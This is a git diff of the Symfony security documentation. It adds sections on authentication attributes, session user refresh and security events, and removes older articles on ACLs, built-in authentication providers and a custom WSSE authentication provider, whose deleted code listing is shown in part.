+  if they are logged in because of a "remember me cookie". Even if you don't
+  use the :doc:`remember me functionality </security/remember_me>`,
+  you can use this to check if the user is logged in.
+
+* ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
+  but stronger. Users who are logged in only because of a "remember me cookie"
+  will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
+
+* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
+  this - this is useful when defining a list of URLs with no access restriction
+  - some details are in :doc:`/security/access_control`.
+
+* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
+
+* ``IS_REMEMBERED``: *Only* users authenticated using the
+  :doc:`remember me functionality </security/remember_me>`, (i.e. a
+  remember-me cookie).
+
+* ``IS_IMPERSONATOR``: When the current user is
+  :doc:`impersonating </security/impersonating_user>` another user in this
+  session, this attribute will match.
+
+.. versionadded:: 5.1
+
+    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
+    attributes were introduced in Symfony 5.1.
+
+.. _user_session_refresh:
+
+Understanding how Users are Refreshed from the Session
+------------------------------------------------------
+
+At the end of every request (unless your firewall is ``stateless``), your
+``User`` object is serialized to the session. At the beginning of the next
+request, it's deserialized and then passed to your user provider to "refresh" it
+(e.g. Doctrine queries for a fresh user).
+
+Then, the two User objects (the original from the session and the refreshed User
+object) are "compared" to see if they are "equal". By default, the core
+``AbstractToken`` class compares the return values of the ``getPassword()``,
+``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different,
+your user will be logged out. This is a security measure to make sure that malicious
+users can be de-authenticated if core user data changes.
+
+However, in some cases, this process can cause unexpected authentication problems.
+If you're having problems authenticating, it could be that you *are* authenticating
+successfully, but you immediately lose authentication after the first redirect.
+
+In that case, review the serialization logic (e.g. ``SerializableInterface``) if
+you have any, to make sure that all the fields necessary are serialized.
+
+Comparing Users Manually with EquatableInterface
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Or, if you need more control over the "compare users" process, make your User class
+implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
+Then, your ``isEqualTo()`` method will be called when comparing users.
+
+Security Events
+---------------
+
+During the authentication process, multiple events are dispatched to
+hook into the process or customize the response sent back to the user. You
+can do this by creating an :doc:`event listener or subscriber </event_dispatcher>`
+for these events.
+
+Authentication Events
+~~~~~~~~~~~~~~~~~~~~~
+
+.. raw:: html
+
+    <object data="../_images/security/security_events.svg" type="image/svg+xml"></object>
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent`
+    Dispatched after the authenticator created the :ref:`security passport <security-passport>`.
+    Listeners of this event do the actual authentication checks (like
+    checking the passport, validating the CSRF token, etc.)
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationTokenCreatedEvent`
+    Dispatched after the passport was validated and the authenticator
+    created the security token. This can be used in advanced use-cases
+    where you need to modify the created token (e.g. for multi factor
+    authentication).
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\AuthenticationSuccessEvent`
+    Dispatched when authentication is nearing success. This is the last
+    event that can make an authentication fail by throwing an
+    ``AuthenticationException``.
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\LoginSuccessEvent`
+    Dispatched after authentication was fully successful. Listeners to this
+    event can modify the response send back to the user.
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\LoginFailureEvent`
+    Dispatched after an ``AuthenticationException`` was thrown during the
+    authentication. Listeners to this event can modify the error response
+    send back to the user.
+
+Other Events
+~~~~~~~~~~~~
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
+    Dispatched when a user logs out of your application. See
+    :ref:`security-logging-out`.
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\TokenDeauthenticatedEvent`
+    Dispatched when a user is deauthenticated, for instance because the
+    password was changed. See :ref:`user_session_refresh`.
+
+:class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
+    Dispatched after impersonation is completed. See
+    :doc:`/security/impersonating_user`.
 
 Frequently Asked Questions
 --------------------------
 
 **Can I have Multiple Firewalls?**
     Yes! But it's usually not necessary. Each firewall is like a separate security
-    system. And so, unless you have *very* different authentication needs, one
-    firewall usually works well. With :doc:`Guard authentication </security/guard_authentication>`,
-    you can create various, diverse ways of allowing authentication (e.g. form login,
-    API key authentication and LDAP) all under the same firewall.
+    system, being authenticated in one firewall doesn't make you authenticated in
+    another one. One firewall can have multiple diverse ways of allowing
+    authentication (e.g. form login, API key authentication and LDAP).
 
 **Can I Share Authentication Between Firewalls?**
     Yes, but only with some configuration. If you're using multiple firewalls and
@@ -1506,23 +2619,15 @@ Authentication (Identifying/Logging in the User)
 .. toctree::
     :maxdepth: 1
 
-    security/authenticator_manager
-    security/form_login_setup
-    security/reset_password
-    security/json_login_setup
-    security/guard_authentication
-    security/password_migration
-    security/auth_providers
-    security/user_provider
+    security/passwords
     security/ldap
     security/remember_me
     security/impersonating_user
     security/user_checkers
-    security/named_hashers
-    security/multiple_guard_authenticators
     security/firewall_restriction
     security/csrf
-    security/custom_authentication_provider
+    security/form_login
+    security/custom_authenticator
 
 Authorization (Denying Access)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1531,15 +2636,15 @@ Authorization (Denying Access)
     :maxdepth: 1
 
     security/voters
-    security/securing_services
     security/access_control
     security/access_denied_handler
-    security/acl
     security/force_https
 
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
 .. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
-.. _`Symfony Security screencast series`: https://symfonycasts.com/screencast/symfony-security
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
+.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
+.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 0d4676b3cf7..c880ec14065 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -15,6 +15,8 @@ generates a response based on the authentication state:
 * **If the user is authenticated, but does not have the required
   permissions**, a *403 Forbidden* response is generated.
 
+.. _security-entry-point:
+
 Customize the Unauthorized Response
 -----------------------------------
 
diff --git a/security/acl.rst b/security/acl.rst
deleted file mode 100644
index ffbf16c7c27..00000000000
--- a/security/acl.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-.. index::
-   single: Security; Access Control Lists (ACLs)
-
-How to Use Access Control Lists (ACLs)
-======================================
-
-.. caution::
-
-    ACL support was removed in Symfony 4.0. Install the `Symfony ACL bundle`_
-    and refer to its documentation if you want to keep using ACL.
-
-    Consider using :doc:`security voters </security/voters>`,
-    the alternative to ACLs recommended by Symfony.
-
-.. _`Symfony ACL bundle`: https://github.com/symfony/acl-bundle
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
deleted file mode 100644
index f2a672c41c7..00000000000
--- a/security/auth_providers.rst
+++ /dev/null
@@ -1,238 +0,0 @@
-Built-in Authentication Providers
-=================================
-
-If you need to add authentication to your app, we recommend using the
-:doc:`new authenticator-based system </security/authenticator_manager>` because
-it gives you full control over the process.
-
-But, Symfony also offers a number of built-in authentication providers: systems
-that are easier to implement, but harder to customize. If your authentication
-use-case matches one of these exactly, they're a great option:
-
-.. toctree::
-    :hidden:
-
-    form_login
-    json_login_setup
-
-* :doc:`form_login </security/form_login>`
-* :ref:`http_basic <security-http_basic>`
-* :doc:`LDAP via HTTP Basic or Form Login </security/ldap>`
-* :doc:`json_login </security/json_login_setup>`
-* :ref:`X.509 Client Certificate Authentication (x509) <security-x509>`
-* :ref:`REMOTE_USER Based Authentication (remote_user) <security-remote_user>`
-
-.. _security-http_basic:
-
-HTTP Basic Authentication
--------------------------
-
-`HTTP Basic authentication`_ asks credentials (username and password) using a dialog
-in the browser. The credentials are sent without any hashing or encryption, so
-it's recommended to use it with HTTPS.
-
-To support HTTP Basic authentication, add the ``http_basic`` key to your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    http_basic:
-                        realm: Secured Area
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <http-basic realm="Secured Area"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ....
-
-            $security->firewall('main')
-                ->httpBasic()
-                    ->realm('Secured Area')
-            ;
-        };
-
-That's it! Symfony will now be listening for any HTTP basic authentication data.
-To load user information, it will use your configured :doc:`user provider </security/user_provider>`.
-
-Note: you cannot use the :ref:`log out <security-logging-out>` with ``http_basic``.
-Even if you log out, your browser "remembers" your credentials and will send them
-on every request.
-
-.. _security-x509:
-
-X.509 Client Certificate Authentication
----------------------------------------
-
-When using client certificates, your web server is doing all the authentication
-process itself. With Apache, for example, you would use the
-``SSLVerifyClient Require`` directive.
-
-Enable the x509 authentication for a particular firewall in the security configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    x509:
-                        provider: your_user_provider
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <!-- ... -->
-                    <x509 provider="your_user_provider"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ....
-
-            $security->firewall('main')
-                // ...
-                ->x509()
-                    ->provider('your_user_provider')
-            ;
-        };
-
-By default, the firewall provides the ``SSL_CLIENT_S_DN_Email`` variable to
-the user provider, and sets the ``SSL_CLIENT_S_DN`` as credentials in the
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\PreAuthenticatedToken`.
-You can override these by setting the ``user`` and the ``credentials`` keys
-in the x509 firewall configuration respectively.
-
-.. _security-pre-authenticated-user-provider-note:
-
-.. note::
-
-    An authentication provider will only inform the user provider of the username
-    that made the request. You will need to create (or use) a "user provider" that
-    is referenced by the ``provider`` configuration parameter (``your_user_provider``
-    in the configuration example). This provider will turn the username into a User
-    object of your choice. For more information on creating or configuring a user
-    provider, see:
-
-    * :doc:`/security/user_provider`
-
-.. _security-remote_user:
-
-REMOTE_USER Based Authentication
---------------------------------
-
-A lot of authentication modules, like ``auth_kerb`` for Apache, provide the username
-using the ``REMOTE_USER`` environment variable. This variable can be trusted by
-the application since the authentication happened before the request reached it.
-
-To configure Symfony using the ``REMOTE_USER`` environment variable, enable the
-corresponding firewall in your security configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            firewalls:
-                main:
-                    # ...
-                    remote_user:
-                        provider: your_user_provider
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main">
-                    <remote-user provider="your_user_provider"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->firewall('main')
-                ->remoteUser()
-                    ->provider('your_user_provider')
-            ;
-        };
-
-The firewall will then provide the ``REMOTE_USER`` environment variable to
-your user provider. You can change the variable name used by setting the ``user``
-key in the ``remote_user`` firewall configuration.
-
-.. note::
-
-    Just like for X509 authentication, you will need to configure a "user provider".
-    See :ref:`the previous note <security-pre-authenticated-user-provider-note>`
-    for more information.
-
-.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
diff --git a/security/csrf.rst b/security/csrf.rst
index def19db4f36..6c5371e704c 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -123,8 +123,8 @@ customize the entire form field contents).
 CSRF Protection in Login Forms
 ------------------------------
 
-See :doc:`/security/form_login_setup` for a login form that is protected from
-CSRF attacks. You can also configure the
+See :ref:`form_login-csrf` for a login form that is protected from CSRF
+attacks. You can also configure the
 :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
 
 .. _csrf-protection-in-html-forms:
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
deleted file mode 100644
index 94fdda02708..00000000000
--- a/security/custom_authentication_provider.rst
+++ /dev/null
@@ -1,653 +0,0 @@
-.. index::
-   single: Security; Custom authentication provider
-
-How to Create a custom Authentication Provider
-==============================================
-
-.. caution::
-
-    Creating a custom authentication system is hard, and almost definitely
-    **not** needed. Instead, see the
-    :doc:`new authenticator-based system </security/authenticator_manager>`
-
-Symfony provides support for the most
-:doc:`common authentication mechanisms </security/auth_providers>`. However, your
-app may need to integrated with some proprietary single-sign-on system or some
-legacy authentication mechanism. In those cases you could create a custom
-authentication provider. This article discusses the core classes involved
-in the authentication process, and how to implement a custom authentication
-provider. Because authentication and authorization are separate concepts,
-this extension will be user-provider agnostic, and will function with your
-application's user providers, may they be based in memory, a database, or
-wherever else you choose to store them.
-
-Meet WSSE
----------
-
-The following article demonstrates how to create a custom authentication
-provider for WSSE authentication. The security protocol for WSSE provides
-several security benefits:
-
-#. Username / Password encryption
-#. Safe guarding against replay attacks
-#. No web server configuration required
-
-WSSE is very useful for the securing of web services, may they be SOAP or
-REST.
-
-There is plenty of great documentation on `WSSE`_, but this article will
-focus not on the security protocol, but rather the manner in which a custom
-protocol can be added to your Symfony application. The basis of WSSE is
-that a request header is checked for encrypted credentials, verified using
-a timestamp and `nonce`_, and authenticated for the requested user using a
-password digest.
-
-.. note::
-
-    WSSE also supports application key validation, which is useful for web
-    services, but is outside the scope of this article.
-
-The Token
----------
-
-The role of the token in the Symfony security context is an important one.
-A token represents the user authentication data present in the request. Once
-a request is authenticated, the token retains the user's data, and delivers
-this data across the security context. First, you'll create your token class.
-This will allow the passing of all relevant information to your authentication
-provider::
-
-    // src/Security/Authentication/Token/WsseUserToken.php
-    namespace App\Security\Authentication\Token;
-
-    use Symfony\Component\Security\Core\Authentication\Token\AbstractToken;
-
-    class WsseUserToken extends AbstractToken
-    {
-        public $created;
-        public $digest;
-        public $nonce;
-
-        public function __construct(array $roles = [])
-        {
-            parent::__construct($roles);
-
-            // If the user has roles, consider it authenticated
-            $this->setAuthenticated(count($roles) > 0);
-        }
-
-        public function getCredentials(): string
-        {
-            return '';
-        }
-    }
-
-.. note::
-
-    The ``WsseUserToken`` class extends the Security component's
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\AbstractToken`
-    class, which provides basic token functionality. Implement the
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
-    on any class to use as a token.
-
-The Listener
-------------
-
-Next, you need a listener to listen on the firewall. The listener
-is responsible for fielding requests to the firewall and calling the authentication
-provider. Listener is a callable, so you have to implement an ``__invoke()`` method.
-A security listener should handle the
-:class:`Symfony\\Component\\HttpKernel\\Event\\RequestEvent` event, and
-set an authenticated token in the token storage if successful::
-
-    // src/Security/Firewall/WsseListener.php
-    namespace App\Security\Firewall;
-
-    use App\Security\Authentication\Token\WsseUserToken;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-
-    class WsseListener
-    {
-        protected $tokenStorage;
-        protected $authenticationManager;
-
-        public function __construct(TokenStorageInterface $tokenStorage, AuthenticationManagerInterface $authenticationManager)
-        {
-            $this->tokenStorage = $tokenStorage;
-            $this->authenticationManager = $authenticationManager;
-        }
-
-        public function __invoke(RequestEvent $event): void
-        {
-            $request = $event->getRequest();
-
-            $wsseRegex = '/UsernameToken Username="(?P<username>[^"]+)", PasswordDigest="(?P<digest>[^"]+)", Nonce="(?P<nonce>[a-zA-Z0-9+\/]+={0,2})", Created="(?P<created>[^"]+)"/';
-            if (!$request->headers->has('x-wsse') || 1 !== preg_match($wsseRegex, $request->headers->get('x-wsse'), $matches)) {
-                return;
-            }
-
-            $token = new WsseUserToken();
-            $token->setUser($matches['username']);
-
-            $token->digest  = $matches['digest'];
-            $token->nonce   = $matches['nonce'];
-            $token->created = $matches['created'];
-
-            try {
-                $authToken = $this->authenticationManager->authenticate($token);
-                $this->tokenStorage->setToken($authToken);
-
-                return;
-            } catch (AuthenticationException $failed) {
-                // ... you might log something here
-
-                // To deny the authentication clear the token. This will redirect to the login page.
-                // Make sure to only clear your token, not those of other authentication listeners.
-                // $token = $this->tokenStorage->getToken();
-                // if ($token instanceof WsseUserToken && $this->providerKey === $token->getProviderKey()) {
-                //     $this->tokenStorage->setToken(null);
-                // }
-                // return;
-            }
-
-            // By default deny authorization
-            $response = new Response();
-            $response->setStatusCode(Response::HTTP_FORBIDDEN);
-            $event->setResponse($response);
-        }
-    }
-
-This listener checks the request for the expected ``X-WSSE`` header, matches
-the value returned for the expected WSSE information, creates a token using
-that information, and passes the token on to the authentication manager. If
-the proper information is not provided, or the authentication manager throws
-an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`,
-a 401 Response is returned.
-
-.. note::
-
-    A class not used above, the
-    :class:`Symfony\\Component\\Security\\Http\\Firewall\\AbstractAuthenticationListener`
-    class, is a very useful base class which provides commonly needed functionality
-    for security extensions. This includes maintaining the token in the session,
-    providing success / failure handlers, login form URLs, and more. As WSSE
-    does not require maintaining authentication sessions or login forms, it
-    won't be used for this example.
-
-.. note::
-
-    Returning prematurely from the listener is relevant only if you want to chain
-    authentication providers (for example to allow anonymous users). If you want
-    to forbid access to anonymous users and have a 404 error, you should set
-    the status code of the response before returning.
-
-The Authentication Provider
----------------------------
-
-The authentication provider will do the verification of the ``WsseUserToken``.
-Namely, the provider will verify the ``Created`` header value is valid within
-five minutes, the ``Nonce`` header value is unique within five minutes, and
-the ``PasswordDigest`` header value matches with the user's password::
-
-    // src/Security/Authentication/Provider/WsseProvider.php
-    namespace App\Security\Authentication\Provider;
-
-    use App\Security\Authentication\Token\WsseUserToken;
-    use Psr\Cache\CacheItemPoolInterface;
-    use Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-
-    class WsseProvider implements AuthenticationProviderInterface
-    {
-        private $userProvider;
-        private $cachePool;
-
-        public function __construct(UserProviderInterface $userProvider, CacheItemPoolInterface $cachePool)
-        {
-            $this->userProvider = $userProvider;
-            $this->cachePool = $cachePool;
-        }
-
-        public function authenticate(TokenInterface $token): WsseUserToken
-        {
-            // The loadUserByIdentifier() and getUserIdentifier() methods were
-            // introduced in Symfony 5.3. In previous versions they were called
-            // loadUserByUsername() and getUsername() respectively
-            $user = $this->userProvider->loadUserByIdentifier($token->getUserIdentifier());
-
-            if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) {
-                $authenticatedToken = new WsseUserToken($user->getRoles());
-                $authenticatedToken->setUser($user);
-
-                return $authenticatedToken;
-            }
-
-            throw new AuthenticationException('The WSSE authentication failed.');
-        }
-
-        /**
-         * This function is specific to Wsse authentication and is only used to help this example
-         *
-         * For more information specific to the logic here, see
-         * https://github.com/symfony/symfony-docs/pull/3134#issuecomment-27699129
-         */
-        protected function validateDigest($digest, $nonce, $created, $secret): bool
-        {
-            // Check created time is not in the future
-            if (strtotime($created) > time()) {
-                return false;
-            }
-
-            // Expire timestamp after 5 minutes
-            if (time() - strtotime($created) > 300) {
-                return false;
-            }
-
-            // Try to fetch the cache item from pool
-            $cacheItem = $this->cachePool->getItem(md5($nonce));
-
-            // Validate that the nonce is *not* in cache
-            // if it is, this could be a replay attack
-            if ($cacheItem->isHit()) {
-                // In a real world application you should throw a custom
-                // exception extending the AuthenticationException
-                throw new AuthenticationException('Previously used nonce detected');
-            }
-
-            // Store the item in cache for 5 minutes
-            $cacheItem->set(null)->expiresAfter(300);
-            $this->cachePool->save($cacheItem);
-
-            // Validate Secret
-            $expected = base64_encode(sha1(base64_decode($nonce).$created.$secret, true));
-
-            return hash_equals($expected, $digest);
-        }
-
-        public function supports(TokenInterface $token): bool
-        {
-            return $token instanceof WsseUserToken;
-        }
-    }
-
-.. note::
-
-    The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface`
-    requires an ``authenticate()`` method on the user token, and a ``supports()``
-    method, which tells the authentication manager whether or not to use this
-    provider for the given token. In the case of multiple providers, the
-    authentication manager will then move to the next provider in the list.
-
-The Factory
------------
-
-You have created a custom token, custom listener, and custom provider. Now
-you need to tie them all together. How do you make a unique provider available
-for every firewall? The answer is by using a *factory*. A factory
-is where you hook into the Security component, telling it the name of your
-provider and any configuration options available for it. First, you must
-create a class which implements
-:class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    use App\Security\Authentication\Provider\WsseProvider;
-    use App\Security\Firewall\WsseListener;
-    use Symfony\Bundle\SecurityBundle\DependencyInjection\Security\Factory\SecurityFactoryInterface;
-    use Symfony\Component\Config\Definition\Builder\NodeDefinition;
-    use Symfony\Component\DependencyInjection\ChildDefinition;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Reference;
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint): array
-        {
-            $providerId = 'security.authentication.provider.wsse.'.$id;
-            $container
-                ->setDefinition($providerId, new ChildDefinition(WsseProvider::class))
-                ->setArgument(0, new Reference($userProvider))
-            ;
-
-            $listenerId = 'security.authentication.listener.wsse.'.$id;
-            $container->setDefinition($listenerId, new ChildDefinition(WsseListener::class));
-
-            return [$providerId, $listenerId, $defaultEntryPoint];
-        }
-
-        public function getPosition(): string
-        {
-            return 'pre_auth';
-        }
-
-        public function getKey(): string
-        {
-            return 'wsse';
-        }
-
-        public function addConfiguration(NodeDefinition $node): void
-        {
-        }
-    }
-
-The :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\SecurityFactoryInterface`
-requires the following methods:
-
-``create()``
-    Method which adds the listener and authentication provider
-    to the DI container for the appropriate security context.
-
-``getPosition()``
-    Returns when the provider should be called. This can be one of ``pre_auth``,
-    ``form``, ``http`` or ``remember_me``.
-
-``getKey()``
-    Method which defines the configuration key used to reference
-    the provider in the firewall configuration.
-
-``addConfiguration()``
-    Method which is used to define the configuration
-    options underneath the configuration key in your security configuration.
-    Setting configuration options are explained later in this article.
-
-.. note::
-
-    A class not used in this example,
-    :class:`Symfony\\Bundle\\SecurityBundle\\DependencyInjection\\Security\\Factory\\AbstractFactory`,
-    is a very useful base class which provides commonly needed functionality
-    for security factories. It may be useful when defining an authentication
-    provider of a different type.
-
-Now that you have created a factory class, the ``wsse`` key can be used as
-a firewall in your security configuration.
-
-.. note::
-
-    You may be wondering "why do you need a special factory class to add listeners
-    and providers to the dependency injection container?". This is a very
-    good question. The reason is you can use your firewall multiple times,
-    to secure multiple parts of your application. Because of this, each
-    time your firewall is used, a new service is created in the DI container.
-    The factory is what creates these new services.
-
-Configuration
--------------
-
-It's time to see your authentication provider in action. You will need to
-do a few things in order to make this work. The first thing is to add the
-services above to the DI container. Your factory class above makes reference
-to service ids that may not exist yet: ``App\Security\Authentication\Provider\WsseProvider`` and
-``App\Security\Firewall\WsseListener``. It's time to define those services.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\Security\Authentication\Provider\WsseProvider:
-                arguments:
-                    $cachePool: '@cache.app'
-
-            App\Security\Firewall\WsseListener:
-                arguments: ['@security.token_storage', '@security.authentication.manager']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\Security\Authentication\Provider\WsseProvider">
-                    <argument key="$cachePool" type="service" id="cache.app"/>
-                </service>
-
-                <service id="App\Security\Firewall\WsseListener">
-                    <argument type="service" id="security.token_storage"/>
-                    <argument type="service" id="security.authentication.manager"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Security\Authentication\Provider\WsseProvider;
-        use App\Security\Firewall\WsseListener;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
-
-            $services->set(WsseProvider::class)
-                ->arg('$cachePool', service('cache.app'))
-            ;
-
-            $services->set(WsseListener::class)
-                ->args([
-                    // In versions earlier to Symfony 5.1 the service() function was called ref()
-                    service('security.token_storage'),
-                    service('security.authentication.manager'),
-                ])
-            ;
-        };
-
-Now that your services are defined, tell your security context about your
-factory in the kernel::
-
-    // src/Kernel.php
-    namespace App;
-
-    use App\DependencyInjection\Security\Factory\WsseFactory;
-    // ...
-
-    class Kernel extends BaseKernel
-    {
-        public function build(ContainerBuilder $container): void
-        {
-            $extension = $container->getExtension('security');
-            $extension->addSecurityListenerFactory(new WsseFactory());
-        }
-
-        // ...
-    }
-
-You are finished! You can now define parts of your app as under WSSE protection.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                wsse_secured:
-                    pattern:   ^/api/
-                    stateless: true
-                    wsse:      true
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall
-                    name="wsse_secured"
-                    pattern="^/api/"
-                    stateless="true"
-                    wsse="true"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ....
-
-            $security->firewall('wsse_secured')
-                ->pattern('^/api/')
-                ->stateless(true)
-                ->wsse()
-            ;
-        };
-
-Congratulations! You have written your very own custom security authentication
-provider!
-
-A little Extra
---------------
-
-How about making your WSSE authentication provider a bit more exciting? The
-possibilities are endless. Why don't you start by adding some sparkle
-to that shine?
-
-Configuration
-~~~~~~~~~~~~~
-
-You can add custom options under the ``wsse`` key in your security configuration.
-For instance, the time allowed before expiring the ``Created`` header item,
-by default, is 5 minutes. Make this configurable, so different firewalls
-can have different timeout lengths.
-
-You will first need to edit ``WsseFactory`` and define the new option in
-the ``addConfiguration()`` method::
-
-    // src/DependencyInjection/Security/Factory/WsseFactory.php
-    namespace App\DependencyInjection\Security\Factory;
-
-    // ...
-
-    class WsseFactory implements SecurityFactoryInterface
-    {
-        // ...
-
-        public function addConfiguration(NodeDefinition $node): void
-        {
-            $node
-                ->children()
-                    ->scalarNode('lifetime')->defaultValue(300)
-                ->end();
